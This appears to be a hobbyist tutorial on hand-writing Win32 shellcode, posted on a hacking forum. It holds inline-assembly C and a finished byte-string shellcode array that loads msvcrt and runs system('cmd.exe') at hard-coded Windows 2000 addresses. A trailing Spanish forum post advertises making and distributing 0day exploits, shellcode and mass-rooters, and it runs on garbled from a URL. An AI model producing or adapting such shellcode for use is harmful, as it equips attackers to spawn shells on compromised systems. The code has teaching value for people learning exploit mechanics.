/* I used dumpbin.exe to find addresses of LoadLibarayA and system(); dumpbin.exe is included with Visual C++ 6.0.
/* or you can use a debugger and write a program like #include <windows.h> void main(void) { LoadLibrary(msvcrt); system("cmd.exe"); }
/* then use a debugger like Ollydbg and watch the calls go by and snag the addresses when they are called 77E9FEE8=KERNEL32.LoadLibraryA ect...
/* this compiles in visual c++ 6.0 i dunno about other compilers. This is my first attempt at writing win32 shellcode so
/* go easy on me... i know the addresses are hard coded so it will suck, these addresses are for win2k sp3 only. but I think I give enough
/* information on how to find the addresses for your os/sp.
/* this must be compiled in release mode with all optimizations off, otherwise it won't execute ;/. */
#include <windows.h>
void main(void) {
__asm {
mov esp, ebp // move the base pointer into esp.
push ebp // push the old base pointer onto the stack for when we ret.
mov ebp, esp // copy the esp back into ebp so we have our base
xor edi, edi // this basically sets edi to 0x00000000
push edi // this gets pushed on the stack.
push edi // 8 bytes
mov byte ptr[ebp-08h], 6dh // this directly modifies the stack 0x00000000 now becomes 0x0000006d
mov byte ptr[ebp-07h], 73h // 0x0000006d now is 0x0000736d
// ----------
mov byte ptr[ebp-06h], 76h // 0x0076736d
// ----------
mov byte ptr[ebp-05h], 63h // 0x6376736d
// ----------
mov byte ptr[ebp-04h], 72h // 0x6376736d
// 0x00000072
// ----------
mov byte ptr[ebp-03h], 74h // 0x6376736d
// 0x00007472 our stack now contains the msvcrt string
mov eax, 0x77E9FEE8 // addy of loadlibrarya from kernel32.dll
push eax // we need this on the stack
lea eax, [ebp-08h] // lea = load effective address, loads the beginning of the string 'm' into eax
push eax // which is pushed on the stack
call dword ptr[ebp-0ch] // call loadlibrarya which has the msvcrt string on the stack eq to LoadLibrary("mscvrt");
pop eax // pop our junk off the stack the strings/addresses ect.
pop eax // we now successfully called LoadLibrary(msvcrt) so now we need to call system from this dll.
pop eax
xor eax,eax // clear eax, and since this is 0x00000000 might as well push it on the stack so we can write
// clean data to it. we could sub esp, 08h but you'll find junk in it and we need a null at the
push eax // end of the string.
push eax // we need space on the stack for our cmd.exe and system address.
mov byte ptr[ebp-08h], 63h // (ss): 0xffffff63 char: c
mov byte ptr[ebp-07h], 6dh // (ss): 0xffff6d63 char: m
mov byte ptr[ebp-06h], 64h // (ss): 0xff646d63 char: d
mov byte ptr[ebp-05h], 2eh // (ss): 0x2e646d63 char: .
mov byte ptr[ebp-04h], 65h // (ss):LM: 0x2e646d63 (LM = lower memory HM = higher) data's inverted don't forget
.
// (ss):HM: 0x00000065 char: e (remember we pushed eax? 0x00000000)
mov byte ptr[ebp-03h], 78h // (ss): 0x00007865 char: x
mov byte ptr[ebp-02h], 65h // (ss): 0x00657865 char: e
// so now our string is like:
// 0x2e646d63
// 0x00657865 (we need the \0 for system();
mov eax, 0x7801AFC3 // move the address of system from
// msvcrt.dll (gathered by dumpbin.exe /all msvcrt.dll: base image (78000000 image base) + dumpbin.exe /exports msvcrt.dll 0001AFC3 (system))
// so 78000000 + 0001AF3C = 7801AFC3
push eax // now push it on the stizack
lea eax, [ebp-08h] // we have to actually get the address of the 'c' so we can read the full cmd.exe string.
// which we know is 8h minus ebp (see first mov byte ptr..)
push eax // push eax on to the stack so now we look like:
// HM: 0x2e646d63 <-- . d m c
// 0x00657865 <-- \0 e x e
// LM: 0x7801AFC3 <-- addy of system
call dword ptr[ebp-0ch] // here we use ebp and reference ebp-0ch which is before the cmd.exe and the system address.
add esp, 04h // lets be nice kids and clean up the stack
pop esp // pop the old esp and call so ret knows where the fuck to go to.
retn // ret heh.
}
}
/*
Time to fire up your favorite Debugger (I use Ollydbg because SoftIce is a bit outta my league so far...
If you want to follow along go get ollydbg at:
http://home.t-online.de/home/Ollydbg/ its slick its small
and its intuitive, it's nice to be able to view the disasm the stack and the registers all at once.
so i assume you have ollydbg loaded, scroll all the way to the top in the CPU - main thread window.
You should see a PUSH EBP set a break point here (f2)
the actual instruction is 55 so we need that
char shellcizode[] = "\x55"
next we have a MOV EBP, ESP which is actually: 8BEC
char shellcizode[] = "\x55\x8b\xec"
at this point you should know what the fuck else to do if you don't i'm sorry. heh
char shellcizode[] =
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x53" // push ebx
"\x56" // push esi
"\x57" // push edi
"\x8b\xe5" // mov esp, ebp
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xff" // xor edi,edi
"\x57" // push edi
"\x57" // push edi
"\xc6\x45\xf8\x6d" // mov byte ptr ss:[ebp-8],6d
"\xc6\x45\xf9\x73" // mov byte ptr ss:[ebp-7],73
"\xc6\x45\xfa\x76" // mov byte ptr ss:[ebp-6],76
"\xc6\x45\xfb\x63" // mov byte ptr ss:[ebp-5],63
"\xc6\x45\xfc\x72" // mov byte ptr ss:[ebp-4],72
"\xc6\x45\xfd\x74" // mov byte ptr ss:[ebp-3],74
"\xb8\xe8\xfe\xe9\x77" // mov eax,kernel32.loadlibraryA; remember the address is put on inverted...
"\x50" // push eax
"\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
"\x50" // push eax
"\xff\x55\xf4" // call dword ptr ss:[ebp-c]
"\x58" // pop eax
"\x58" // pop eax
"\x58" // pop eax
"\x33\xc0" // xor eax,eax
"\x50" // push eax
"\x50" // push eax
"\xc6\x45\xf8\x63" // mov byte ptr ss:[ebp-8],63
"\xc6\x45\xf9\x6d" // mov byte ptr ss:[ebp-7],6d
"\xc6\x45\xfa\x64" // mov byte ptr ss:[ebp-6],64
"\xc6\x45\xfb\x2e" // mov byte ptr ss:[ebp-5],2e
"\xc6\x45\xfc\x65" // mov byte ptr ss:[ebp-4],65
"\xc6\x45\xfd\x78" // mov byte ptr ss:[ebp-3],78
"\xc6\x45\xfe\x65" // mov byte ptr ss:[ebp-2],65
"\xb8\xc3\xaf\x01\x78" // mov eax, 7801AFC3; addy of system() from msvcrt
"\x50" // push eax
"\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
"\x50" // push eax
"\xff\x55\xf4" // call dword ptr ss:[ebp-c]
"\x83\xc4\x04" // add esp, 04h
"\x5c" // pop esp
"\xc3"; // ret we're done!
*/
http://sh0dan.org/files/llacmd.txtanda chaval, no vengas a mentir a la carcel, que no es nada nuevo...
Autor
En línea
ahora nos dedicamos a la creacion de exploits asi como tambien de shellcodes, massrooters todos 0day, el proposito es encontrar bugs explotar y crear el exploit para luego distribuirlo entre nuestros trabajos podes encontrar:
